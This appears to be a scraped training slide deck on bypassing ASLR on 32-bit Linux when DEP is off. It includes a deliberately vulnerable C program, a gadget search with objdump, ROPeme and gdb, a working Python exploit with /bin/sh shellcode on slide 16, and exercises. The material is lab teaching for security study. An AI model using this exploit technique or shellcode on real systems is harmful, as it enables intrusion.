Contenu connexe
Similaire à 07 - Bypassing ASLR, or why X^W matters (20)
07 - Bypassing ASLR, or why X^W matters
- 2. Refresher
Classic buffer overflows store the shellcode on the stack
Shellcode is executed on the stack
Execution transfer is done by jumping to a fixed address
In modern OSs, addresses are randomized using ASLR
Is there a zone which is not covered by ASLR?
Can we exploit this?
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 2
- 3. Jmp reg
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 3
- 4. Approach
Consider DEP disabled. What impact does it have?
DEP disabled = execution on the stack
How can we transfer execution to the stack, without using fixed
addresses?
Maybe we can find a piece of code in the binary itself to do that?
What asm construct redirects flows?:
Call
Jmp
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 4
- 5. Where to look?
Remember, .text section is not subject to ASLR unless explicitely
specified by the compiler (-pie -fpie)
.text section is the only RE region which has fixed addresses
Looks suitable to look for things which have a fixed address
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 5
- 6. How to look
Manually:
dahtah@kali:~/src/seccon/ch6$ objdump -d -j .text -M intel ch6 | egrep "jmp|call" | egrep -v
"(call|jmp)[ t]+80"
8048387: ff d0 call eax
80483c4: ff d2 call edx
804840f: ff d0 call eax
804841f: ff e4 jmp esp
80484d4: ff 94 b3 00 ff ff ff call DWORD PTR [ebx+esi*4-0x100]
A few nice ones. Jmp esp looks great.
Remember what your stack looks like, just before return to seip
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 6
- 7. Lazy searching
ROPeme is really nice, but is ROP oriented
Therefore, only finds call/jmp preceding a ret
dahtah@kali:~/src/seccon/ch6$ ropshell.py
Simple ROP interactive shell: [generate, load, search] gadgets
ROPeMe> generate ch6 4
Generating gadgets for ch6 with backward depth=4
It may take few minutes depends on the depth and file size...
Processing code block 1/1
Generated 96 gadgets
Dumping asm gadgets to file: ch6.ggt ...
OK
ROPeMe> search jmp %
Searching for ROP gadget: jmp % with constraints: []
0x804841fL: jmp esp ; pop ebp ;;
0x80483a0L: jmp far 0x75f8:0xd1d0011f ; add dh bl ;;
ROPeMe> search call %
Searching for ROP gadget: call % with constraints: []
0x8048387L: call eax ; leave ;;
0x80483c4L: call edx ; leave ;;
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 7
- 8. Proper searching
Write asm and generate raw binary (or look up opcodes)
Search for bytes in memory
x86 ISA specifies that opcodes:
1. have a varied length structure
2. Eip does not have to land on 4 bytes boundaries
This approach can yield additional results when you know what your
looking for (which you should ;))
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 8
- 9. Example
1. Write and compile the gadget your looking for:
cisco@kali:~/src/seccon/ch6$ pygmentize -g jmp_esp.asm
[bits 32]
section .text:
jmp esp
cisco@kali:~/src/seccon/ch6$ nasm jmp_esp.asm
cisco@kali:~/src/seccon/ch6$ hexdump jmp_esp
0000000 e4ff
0000002
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 9
- 10. Example – 2
Search for the hex pattern using gdb
cisco@kali:~/src/seccon/ch6$ invoke -d ch6 AAAA
Reading symbols from /home/cisco/src/seccon/ch6/ch6...done.
gdb$ break main
Breakpoint 1 at 0x8048465: file ch6.c, line 16.
gdb$ r
Breakpoint 1, main (argc=2, argv=0xbffffe34) at ch6.c:16
16 vuln(argv[1]);
gdb$ info proc mappings
process 30215
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0 /home/dahtah/src/seccon/ch6/ch6
gdb$ find /h 0x8048000,0x8049000,0xe4ff
0x804841f <useless+3>
1 pattern found.
gdb$ x/i 0x804841f
0x804841f <useless+3>: jmp esp
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 10
- 11. Check what we can use
Check registers upon return of vulnerable function
Does anything point or is a pointer to anything interesting?
cisco@kali:~/src/seccon/ch6$ invoke -d ch6 AAAA
Reading symbols from /home/cisco/src/seccon/ch6/ch6...done.
gdb$ disassemble 0x08048459,0x0804845c
Dump of assembler code from 0x8048459 to 0x804845c:
0x08048459 <vuln+54>: pop edi
0x0804845a <vuln+55>: pop ebp
0x0804845b <vuln+56>: ret
End of assembler dump.
gdb$ break *0x0804845b
Breakpoint 1 at 0x804845b: file ch6.c, line 13.
gdb$ info registers
eax 0x1 1
ecx 0x0 0
edx 0x5 5
ebx 0xb7fbeff4 -1208225804
esp 0xbffffd6c 0xbffffd6c
ebp 0xbffffd88 0xbffffd88
esi 0x0 0
edi 0x0 0
eip 0x804845b 0x804845b <vuln+56>
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 11
- 12. Example
Check registers, nothing looks great
Esp maybe?:
gdb$ p/x &buf
$1 = 0xbffffcfc
gdb$ # Check buf + overflow length
gdb$ p/x 0xbffffcfc + 0x74
$5 = 0xbffffd70
gdb$ # Move past ret, where is esp
gdb$ si
0x8048475 <main+25>: mov eax,0x0
gdb$ info registers esp
esp 0xbffffd70 0xbffffd70
gdb$ # esp points to our shellcode!
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 12
- 13. Flow
Find a register pointing to our buffer
Put the shellcode in the right position
Find a jmp/call to reg
Overflow seip with the address of jmp/call reg
Execute shellcode upon ret
shellcode
&jmp_esp
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 13
- 14. Example
Same vulnerable program, but with ASLR on
cisco@kali:~/src/seccon/ch6$ pygmentize -g ch6.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void useless(void) {
__asm__("jmp *%esp");
}
int vuln(const char *stuff) {
char buf[0x64] = {0};
strcpy(buf, stuff);
return 1;
}
int main(int argc, char **argv) {
vuln(argv[1]);
return 0;
}
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 14
- 15. Exploit conditions
ASLR on, DEP off:
cisco@kali:~/src/seccon/ch6$ /sbin/sysctl -a 2>/dev/null | grep randomize
kernel.randomize_va_space = 2
cisco@kali:~/src/seccon/ch6$ cc ch6.c -fno-stack-protector -U_FORTIFY_SOURCE -z execstack -g -o
ch6
cisco@kali:~/src/seccon/ch6$ ldd ch6
linux-gate.so.1 => (0xb778d000)
libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb760c000)
/lib/ld-linux.so.2 (0xb778e000)
cisco@kali:~/src/seccon/ch6$ ldd ch6
linux-gate.so.1 => (0xb77bc000)
libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb763b000)
/lib/ld-linux.so.2 (0xb77bd000)
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 15
- 16. Exploit
dahtah@kali:~/src/seccon/ch6$ pygmentize -g ch6.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
import struct
target = "ch6"
overflow_len = 112
jmp_esp = 0x0804841f
target_path = os.path.abspath(target)
# setreuid(geteuid(),geteuid()); execve("/bin/sh",0,0)
sc = ("x6ax31x58x99xcdx80x89xc3x89xc1x6ax46"
"x58xcdx80xb0x0bx52x68x6ex2fx73x68x68"
"x2fx2fx62x69x89xe3x89xd1xcdx80")
jmp_esp_addr = struct.pack("<I", jmp_esp)
ex = "%s%s%s" % ('A'*overflow_len, jmp_esp_addr, sc)
os.execve(target_path, (target_path, ex), os.environ)
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 16
- 17. Other approaches
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 17
- 18. Bruteforce
If you can try multiple times, bruteforce is an option:
1. Pick an address for your buffer
2. Pad your shellcode with a NOP sled
3. Make your return address land in the middle of the NOP sled
4. Try once, then try again
5. and again, and again
6. Get shell
Bruteforcing figures provided in ASLR section
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 18
- 20. Key points
ASLR is not very efficient without DEP
ASLR efficiency is limited on 32 bits
On a real world binary, chances you can find good gadgets are high
Depending on gadgets and values in registers, not all bugs are cleanly
exploitable with ASLR
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 20
- 21. Get to work
Exploit ch6 with ASLR enabled
Check the memory mappings of
ch6. What is predictable? What
changes?
Search for various gadgets
using nasm and gdb
Bruteforce ch6 (do not rely on
gadgets). How many tries does it
take? How long?
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 21